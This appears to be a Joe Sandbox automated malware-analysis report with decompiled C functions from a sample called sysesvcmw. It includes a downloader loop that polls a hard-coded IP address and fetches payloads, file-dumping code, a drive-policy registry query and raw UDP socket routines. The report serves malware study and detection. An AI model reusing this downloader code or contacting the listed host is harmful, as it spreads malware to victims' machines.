Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Sleeprecvfrom
String ID: HTTP/1.1 200 OK$LOCATION:
API String ID: 668330359-3973262388
Opcode ID: d874aecdcf10d4b5be9618b38b24f3ae2d323a3f92cb0c3b0d60b3f526243bf0
Instruction ID: 8bedf7fd65d1d668ead3ec736ca13f9a22eb8deece20412d9194f72f96c2fcee
Opcode Fuzzy Hash: d874aecdcf10d4b5be9618b38b24f3ae2d323a3f92cb0c3b0d60b3f526243bf0
Instruction Fuzzy Hash: 062142B494022CEBDB20CB64DC85BE97774AB04708F1086E9E709B72C0D7B95AC68F5C

Uniqueness

Uniqueness Score: -1.00%

Function 0040D440 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040D440(char* _a4, intOrPtr* _a8) {
				void* _v8;
				char _v9;
				void* _v16;
				void _v20;
				long _v24;
				void* _t21;
				void* _t24;

				_v9 = 0;
				_t21 = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36", 1, 0, 0, 0); // executed
				_v16 = _t21;
				if(_v16 != 0) {
					_t24 = InternetOpenUrlA(_v16, _a4, 0, 0, 0, 0); // executed
					_v8 = _t24;
					if(_v8 != 0) {
						_v24 = 4;
						HttpQueryInfoA(_v8, 0x20000005,  &_v20,  &_v24, 0);
						if(_v20 > 0x1388 && _v20 !=  *_a8) {
							 *_a8 = _v20;
							_v9 = 1;
						}
						InternetCloseHandle(_v8); // executed
					}
					InternetCloseHandle(_v16);
				}
				Sleep(0x3e8); // executed
				return _v9;
			}

0x0040d446
0x0040d457
0x0040d45d
0x0040d464
0x0040d476
0x0040d47c
0x0040d483
0x0040d485
0x0040d49f
0x0040d4ac
0x0040d4be
0x0040d4c0
0x0040d4c0
0x0040d4c8
0x0040d4c8
0x0040d4d2
0x0040d4d2
0x0040d4dd
0x0040d4e9

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040D457
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040D476
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040D49F
InternetCloseHandle.WININET(00000000), ref: 0040D4C8
InternetCloseHandle.WININET(00000000), ref: 0040D4D2
Sleep.KERNEL32(000003E8), ref: 0040D4DD

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36, xrefs: 0040D452

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
API String ID: 2743515581-858318475
Opcode ID: bf6bfaf4f45310fce9545a939de9a762d1e78cec5d6cbb91b294f9239cf924bb
Instruction ID: 741b2aa36f5f9633f3a5325d1023e1587c91f2e0dd76465297faea143a49f62d
Opcode Fuzzy Hash: bf6bfaf4f45310fce9545a939de9a762d1e78cec5d6cbb91b294f9239cf924bb
Instruction Fuzzy Hash: 9821F974E40208FBDB10DF94CC49FEEB775AB48705F1085A5FA15AB2C0C7B96A44CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00409660 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 74
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409660(void* __eax) {
				void* _v8;
				long _v12;
				void* _v16;
				signed int _v20;
				long _v24;
				signed int _t36;
				void* _t38;
				void* _t40;
				signed int _t65;

				if( *0x416e2c == 0) {
					return __eax;
				}
				_t36 =  *0x416e2c; // 0x200
				_v12 = _t36 << 3;
				_t38 = E00408B20(_v12); // executed
				_v8 = _t38;
				__eflags = _v8;
				if(_v8 != 0) {
					_v20 = 0;
					while(1) {
						__eflags = _v20 -  *0x416e2c; // 0x200
						if(__eflags >= 0) {
							break;
						}
						 *((intOrPtr*)(_v8 + _v20 * 8)) =  *((intOrPtr*)( *((intOrPtr*)(0x416e30 + _v20 * 4)) + 4));
						 *((intOrPtr*)(_v8 + 4 + _v20 * 8)) =  *((intOrPtr*)( *((intOrPtr*)(0x416e30 + _v20 * 4)) + 8));
						_t65 = _v20 + 1;
						__eflags = _t65;
						_v20 = _t65;
					}
					_t40 = CreateFileW("C:\Users\Albus\tbnds.dat", 0x40000000, 0, 0, 2, 2, 0); // executed
					_v16 = _t40;
					__eflags = _v16 - 0xffffffff;
					if(_v16 != 0xffffffff) {
						WriteFile(_v16, _v8, _v12,  &_v24, 0); // executed
						FlushFileBuffers(_v16);
						CloseHandle(_v16);
					}
					InterlockedExchange(0x4143b4, 0x3d);
					return E00408C70(_v8);
				}
				return _t38;
			}

0x0040966d
0x00000000
0x00000000
0x00409674
0x0040967c
0x00409683
0x0040968b
0x0040968e
0x00409692
0x00409698
0x004096aa
0x004096ad
0x004096b3
0x00000000
0x00000000
0x004096c8
0x004096de
0x004096a4
0x004096a4
0x004096a7
0x004096a7
0x004096f8
0x004096fe
0x00409701
0x00409705
0x00409719
0x00409723
0x0040972d
0x0040972d
0x0040973a
0x00000000
0x00409749
0x0040974f

APIs

CreateFileW.KERNEL32(C:\Users\user\tbnds.dat,40000000,00000000,00000000,00000002,00000002,00000000), ref: 004096F8
WriteFile.KERNEL32(000000FF,00000000,?,?,00000000), ref: 00409719
FlushFileBuffers.KERNEL32 ref: 00409723
CloseHandle.KERNEL32(000000FF), ref: 0040972D
InterlockedExchange.KERNEL32(004143B4,0000003D), ref: 0040973A

Strings

C:\Users\user\tbnds.dat, xrefs: 004096F3

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
String ID: C:\Users\user\tbnds.dat
API String ID: 442028454-140903278
Opcode ID: 69e3a4351929d0e0f14d0b52311952ce385dfcb3d011d1b1f3d42ed8ab782109
Instruction ID: 09bb8ad8a153661e876b0a8aa7cfca9b830c2f60f8f6b2a0515d583d03b87c58
Opcode Fuzzy Hash: 69e3a4351929d0e0f14d0b52311952ce385dfcb3d011d1b1f3d42ed8ab782109
Instruction Fuzzy Hash: 11314CB8A00208EFCB14DF94D845F9EB7B1BB48300F20C669E515A7391C775AE51CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00404CB0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404CB0() {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				long _v20;
				signed int _v24;
				void* _v28;
				char _v32;
				int _v36;
				long _t31;
				long _t35;
				void* _t44;

				_v20 = GetLogicalDrives();
				_v16 = 0;
				_v12 = 0x80000002;
				_v8 = 0x80000001;
				_v24 = 0;
				while(_v24 < 2) {
					_t31 = RegOpenKeyExW( *(_t44 + _v24 * 4 - 8), L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, 0x20019,  &_v28); // executed
					if(_t31 == 0) {
						_v32 = 0;
						_v36 = 4;
						_t35 = RegQueryValueExW(_v28, L"NoDrives", 0, 0,  &_v32,  &_v36); // executed
						if(_t35 == 0 && _v32 != 0) {
							_v16 = _v16 | _v32;
						}
						RegCloseKey(_v28);
					}
					_v24 = _v24 + 1;
				}
				return  !_v16 & _v20;
			}

0x00404cbc
0x00404cbf
0x00404cc6
0x00404ccd
0x00404cd4
0x00404ce6
0x00404d04
0x00404d0c
0x00404d0e
0x00404d15
0x00404d31
0x00404d39
0x00404d47
0x00404d47
0x00404d4e
0x00404d4e
0x00404ce3
0x00404ce3
0x00404d61

APIs

GetLogicalDrives.KERNEL32 ref: 00404CB6
RegOpenKeyExW.KERNEL32 ref: 00404D04
RegQueryValueExW.KERNEL32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00404D31
RegCloseKey.ADVAPI32(?), ref: 00404D4E

Strings

NoDrives, xrefs: 00404D28
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 00404CF7

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: 9d90b313020425024ef4211a7d2766a6eb2190f61c39788aa0d4f477df4a16fe
Instruction ID: 1183846ab50913c5dc9fb8b6007841b1b3d3e2f8f7d5b2678c7a8c905f18143c
Opcode Fuzzy Hash: 9d90b313020425024ef4211a7d2766a6eb2190f61c39788aa0d4f477df4a16fe
Instruction Fuzzy Hash: 0E110DB0E4020A9BDF10CFD0D945BEEBB74FB48704F108019E611B7280D7B89645CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040BBA0 Relevance: 9.1, APIs: 6, Instructions: 80
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040BBA0(signed int* _a4, long _a8, _Unknown_base(*)()* _a12, void* _a16, DWORD* _a20, HANDLE* _a24) {
				long _v8;
				signed int* _v12;
				void* _v16;
				void* _t45;
				void* _t49;

				_v8 = 0;
				if(_a4 == 0) {
					L8:
					return _v8;
				}
				_v12 = _a4;
				EnterCriticalSection( &(_v12[1]));
				E0040BB20( &(_v12[1]), _v12);
				if(_a12 != 0) {
					_v12[7] = E00408B60(_v12[7], 4 +  *_v12 * 4, _v12[7], 4 +  *_v12 * 4);
					if(_v12[7] != 0) {
						_t45 = CreateThread(0, _a8, _a12, _a16, 0, _a20); // executed
						_v16 = _t45;
						if(_v16 != 0) {
							 *((intOrPtr*)(_v12[7] +  *_v12 * 4)) = _v16;
							 *_v12 =  *_v12 + 1;
							if(_a24 != 0) {
								_t49 = GetCurrentProcess();
								DuplicateHandle(GetCurrentProcess(), _v16, _t49, _a24, 0, 0, 2);
							}
							_v8 = 1;
						}
					}
				}
				LeaveCriticalSection( &(_v12[1]));
				goto L8;
			}

0x0040bba6
0x0040bbb1
0x0040bc88
0x0040bc8e
0x0040bc8e
0x0040bbba
0x0040bbc4
0x0040bbce
0x0040bbda
0x0040bbff
0x0040bc09
0x0040bc1f
0x0040bc25
0x0040bc2c
0x0040bc3c
0x0040bc4a
0x0040bc50
0x0040bc5c
0x0040bc6e
0x0040bc6e
0x0040bc74
0x0040bc74
0x0040bc2c
0x0040bc09
0x0040bc82
0x00000000

APIs

EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040BBC4

Part of subcall function 0040BB20: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040BB60
Part of subcall function 0040BB20: CloseHandle.KERNEL32(?), ref: 0040BB79

CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040BC1F
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040BC5C
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040BC67
DuplicateHandle.KERNEL32 ref: 0040BC6E
LeaveCriticalSection.KERNEL32(-00000004), ref: 0040BC82

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
String ID:
API String ID: 2251373460-0
Opcode ID: 33c17659471092c2b756b62356fc1a2425cda27d656a6ab2967af513715b6e0f
Instruction ID: 02f9ad1cbe3c42a1849ee7ac27792547e5d144dd11b2029950602c6e4363e771
Opcode Fuzzy Hash: 33c17659471092c2b756b62356fc1a2425cda27d656a6ab2967af513715b6e0f
Instruction Fuzzy Hash: 3E311074900208EFDB04DF94D899F9E7BB5FF48304F108159E905A7391D775AA91CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00405CF0 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 58
sleepCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00405CF0() {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				signed int _v172;
				signed char _t35;
				void* _t45;
				void* _t46;

				_v44 = 0;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_v28 = 0;
				_v24 = 0;
				_v20 = 0;
				_v16 = 0;
				_v12 = 0;
				_v8 = 0;
				_v168 = 0x411130;
				_v164 = 0x411134;
				_v160 = 0x411138;
				_v156 = 0x41113c;
				_v152 = 0x411140;
				while(1) {
					Sleep(0x3e8); // executed
					_v172 = 0;
					while(_v172 < 5) {
						Sleep(0x3e8); // executed
						_push( *((intOrPtr*)(_t45 + _v172 * 4 - 0xa4)));
						_push("http://185.215.113.66/");
						wsprintfA( &_v148, "%s%s");
						_t35 = E0040D440( &_v148, _t45 + _v172 * 4 - 0x28); // executed
						_t46 = _t46 + 0x18;
						if((_t35 & 0x000000ff) == 1) {
							E0040D4F0( &_v148, 0); // executed
							_t46 = _t46 + 8;
						}
						_v172 = _v172 + 1;
					}
					Sleep(0xdbba0); // executed
				}
			}

APIs

Sleep.KERNEL32(000003E8), ref: 00405D54
Sleep.KERNEL32(000003E8), ref: 00405D83
wsprintfA.USER32 ref: 00405DA8
Sleep.KERNEL32(000DBBA0), ref: 00405DEB

Strings

%s%s, xrefs: 00405D9C
http://185.215.113.66/, xrefs: 00405D97

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Sleep$wsprintf
String ID: %s%s$http://185.215.113.66/
API String ID: 3195947292-2646931437
Opcode ID: 8f39e41e58bdf373db040d32c454ae668075a299f55bd785de77a12adc482b7f
Instruction ID: 33448fd8f16b6151abdcaf40b6ca2b1b809edec1cb8df60be6306fd5b5127b81
Opcode Fuzzy Hash: 8f39e41e58bdf373db040d32c454ae668075a299f55bd785de77a12adc482b7f
Instruction Fuzzy Hash: 22213B70E00318AFCB50DF64DD45BDEBBB4AF09304F1080ABD24DB6281DB785A898F5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040DBD0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106
networkCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040DBD0(int __eax, long _a4, void* _a8, intOrPtr _a12, short _a16) {
				short _v6;
				short _v10;
				short _v14;
				short _v18;
				short _v20;
				short _v22;
				int* _v24;
				char _v25;
				char _v29;
				int* _v52;
				char _v53;
				short _t30;
				short _t35;
				long _t38;
				int* _t45;
				intOrPtr* _t50;
				void* _t60;
				int _t64;
				long _t67;

				_t50 = _a4;
				_t64 = __eax;
				_t30 = 0;
				_v25 = 0;
				if(_t50 == 0 ||  *_t50 != 0x756470 || _a8 == 0 || __eax == 0) {
					L12:
					return _t30;
				} else {
					_t60 = __eax + 4;
					_t45 = E00408B20(_t60);
					_t6 =  &(_t45[1]); // 0x4
					_v24 = _t45;
					 *_t45 = _t64;
					memcpy(_t6, _a8, _t64);
					_v18 = 0;
					_v14 = 0;
					_v10 = 0;
					_v6 = 0;
					_t35 = _a16;
					_v20 = 2;
					__imp__#9(_t35);
					_v22 = _t35;
					_v20 = _a12;
					if(_t60 == 0) {
						L10:
						_v29 = 1;
						E00408C70(_t45);
						return _v29;
					} else {
						while(1) {
							_t38 = _a4;
							__imp__#20( *((intOrPtr*)(_t38 + 8)), _t45, _t60, 0,  &_v24, 0x10); // executed
							_t67 = _t38;
							if(_t67 == 0xffffffff) {
								break;
							}
							InterlockedExchangeAdd(_a4 + 0x1c, _t67);
							_t60 = _t60 - _t67;
							_t45 = _t45 + _t67;
							if(_t60 != 0) {
								continue;
							} else {
								_v53 = 1;
								E00408C70(_v52);
								return _v53;
							}
							goto L13;
						}
						if(_t60 != 0) {
							E00408C70(_v52);
							_t30 = _v53;
							goto L12;
						} else {
							_t45 = _v52;
							goto L10;
						}
					}
				}
				L13:
			}

APIs

memcpy.NTDLL(00000004,00000000,?,?), ref: 0040DC27
htons.WS2_32(?), ref: 0040DC50
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 0040DC78
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040DC8D

Strings

pdu, xrefs: 0040DBEF

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedhtonsmemcpysendto
String ID: pdu
API String ID: 2164660128-2320407122
Opcode ID: 00fe08272ed9c7b572648fe8f30bd67711d724d5716b1731dde4f50e85e3541e
Instruction ID: 1900bc5e36bec968277d7fd378407ddad580e15f752f42e7870c86cf4b77d333
Opcode Fuzzy Hash: 00fe08272ed9c7b572648fe8f30bd67711d724d5716b1731dde4f50e85e3541e
Instruction Fuzzy Hash: 2F31E1766083009FD710DFA9D880A9BB7E4AF89714F04456EF99897382D674CD08CBEB

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAD0 Relevance: 6.1, APIs: 4, Instructions: 84
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E0040DAD0(char* __edx, intOrPtr _a4) {
				short _v18;
				short _v22;
				short _v26;
				short _v28;
				short _v30;
				char _v32;
				char _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				char _v56;
				intOrPtr _v68;
				char* _t23;
				short _t26;
				long _t29;
				short _t34;
				intOrPtr _t37;
				intOrPtr _t43;
				long _t47;
				signed int _t48;
				void* _t50;

				_t40 = __edx;
				_t50 = (_t48 & 0xfffffff8) - 0x1c;
				_t34 = 0;
				_t43 = _a4;
				_v28 = 0;
				do {
					_t23 =  &_v32;
					_v32 = 0;
					__imp__#10( *(_t43 + 8), 0x4004667f, _t23); // executed
					if(_t23 == 0xffffffff) {
						break;
					}
					_t37 = _v44;
					if(_t37 != 0) {
						if(_t34 == 0 || _v40 < _t37) {
							_v40 = _t37;
							_t26 = E00408B60(_t37, _t40, _t34, _t37);
							_t37 = _v44;
							_t50 = _t50 + 8;
							_t34 = _t26;
						}
						_v30 = 0;
						_v26 = 0;
						_v22 = 0;
						_v18 = 0;
						_t29 =  *(_t43 + 8);
						_v32 = 0;
						_t40 =  &_v32;
						_v36 = 0x10;
						__imp__#17(_t29, _t34, _t37, 0,  &_v32,  &_v36); // executed
						_t47 = _t29;
						if(_t47 != 0xffffffff && _t47 != 0) {
							InterlockedExchangeAdd(_t43 + 0x18, _t47);
							_t40 =  &_v56;
							E0040D9A0(_t43, _t34, _t47, _v68,  &_v56);
							_t50 = _t50 + 0x14;
						}
					}
				} while (WaitForSingleObject( *(_t43 + 0x10), 1) == 0x102);
				return E00408C70(_t34);
			}

APIs

ioctlsocket.WS2_32 ref: 0040DAFB
recvfrom.WS2_32 ref: 0040DB68
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040DB7E
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040DB9F

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
String ID:
API String ID: 3980219359-0
Opcode ID: 42d21b16754e23747dafd69a251c4984d532d74facc10c73496740973b16efae
Instruction ID: 93b40cc26d049a7996018c96e8ad19021b123b172151b20c2622c6b09396bf40
Opcode Fuzzy Hash: 42d21b16754e23747dafd69a251c4984d532d74facc10c73496740973b16efae
Instruction Fuzzy Hash: 33216FB1904305AFD314DF65DC84A6BB7E8EF84314F004A3EF459A2291E774A9488BAA

Uniqueness

Uniqueness Score: -1.00%

Function 00405BA0 Relevance: 6.0, APIs: 4, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 00405BA8
SysAllocString.OLEAUT32(004169D8), ref: 00405BB3
CoUninitialize.OLE32 ref: 00405BD8

Part of subcall function 00405910: SysFreeString.OLEAUT32(00000000), ref: 00405B28

SysFreeString.OLEAUT32(00000000), ref: 00405BD2

Memory Dump Source

Source File: 00000005.00000002.889526747.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.889522847.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889544585.0000000000415000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.889548589.0000000000416000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: String$Free$AllocInitializeUninitialize
String ID:
API String ID: 459949847-0
Opcode ID: 6cd694fec373ba90f407f83b999d67f828c72ca168007c4fd3c8841ffbaea35b
Instruction ID: 8e1ceaac5e3c15648392f9261d8fa4bd32f1c3ccaf3a14fdf2aec8c3e2deeebf
Opcode Fuzzy Hash: 6cd694fec373ba90f407f83b999d67f828c72ca168007c4fd3c8841ffbaea35b
Instruction Fuzzy Hash: C9E048B5940208FBD704EBE0DD0EB9D7774DB05305F1041B5F50566291DAF99E80CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00405910 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00405910(intOrPtr _a4) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _v20;
				void* _v24;
				intOrPtr* _v28;
				void* _v32;
				short _v36;
				char _v40;
				intOrPtr _t95;
				intOrPtr _t110;
				void* _t118;
				void* _t199;
				void* _t200;

				_v28 = 0;
				_v32 = 0;
				_v16 = 0;
				_v12 = 0;
				_v24 = 0;
				_v8 = 0;
				_v20 = 0;
				while(1) {
					_t95 = E004058C0(0x4120d4, 0x4120e4); // executed
					_t200 = _t199 + 8;
					_v28 = _t95;
					if(_v28 == 0) {
						break;
					}
					_push( &_v32);
					_push(_v28);
					if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x1c))))() == 0) {
						_push( &_v16);
						_push(_v32);
						if( *((intOrPtr*)( *((intOrPtr*)( *_v32 + 0x1c))))() == 0) {
							_push( &_v36);
							_push(_v16);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x20))))() == 0) {
								if(_v36 == 0xffffffff) {
									_push( &_v12);
									_push(_v16);
									if( *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x50))))() == 0) {
										_push( &_v24);
										_push(_a4);
										_push(_v12);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x28))))() != 0) {
											_t110 = E004058C0(0x4120f4, 0x412104);
											_t199 = _t200 + 8;
											_v24 = _t110;
											if(_v24 != 0) {
												__imp__#2(L"Microsoft Corporation");
												_v8 = _t110;
												if(_v8 != 0) {
													_push(_v8);
													_push(_v24);
													if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x20))))() == 0) {
														_push(_a4);
														_push(_v24);
														if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x28))))() == 0) {
															_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
															if(_t118 == 0) {
																 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x20))))(_v12, _v24);
																_t118 = 0;
																if(0 != 0) {
																	continue;
																}
																L34:
																if(_v20 != 0) {
																	_t118 = E00408C70(_v20);
																}
																if(_v8 != 0) {
																	__imp__#6(_v8);
																}
																if(_v24 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 8))))(_v24);
																}
																if(_v12 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v12 + 8))))(_v12);
																}
																if(_v16 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v16 + 8))))(_v16);
																}
																if(_v32 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v32 + 8))))(_v32);
																}
																if(_v28 == 0) {
																	return _t118;
																} else {
																	return  *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
																}
															}
															goto L34;
														}
